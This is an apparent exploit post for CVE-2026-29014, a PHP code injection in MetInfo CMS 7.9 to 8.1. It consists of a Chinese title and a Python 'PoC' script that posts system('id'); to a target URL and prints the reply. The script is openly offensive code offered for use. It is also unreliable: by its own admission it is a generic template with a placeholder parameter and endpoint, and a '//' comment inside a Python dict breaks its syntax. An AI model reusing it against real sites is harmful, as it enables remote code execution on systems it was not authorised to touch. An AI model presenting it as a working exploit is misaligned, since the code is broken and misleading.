CVE-2026-29014 MetInfo CMS未认证PHP代码注入漏洞

import requests # PoC for MetInfo CMS Unauthenticated PHP Code Injection (CVE-2026-29014) # Target: MetInfo CMS 7.9, 8.0, 8.1 # Description: Sends a malicious payload to execute arbitrary PHP code. def exploit(target_url): # The specific vulnerable parameter might vary based on the exact vulnerability analysis. # This is a generic template assuming a parameter injection scenario. payload = { "vulnerable_param": "system('id');" // Example command to execute } headers = { "User-Agent": "CVE-2026-29014-Scanner" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint URL url = "http://target-site.com/vulnerable_endpoint.php" exploit(url)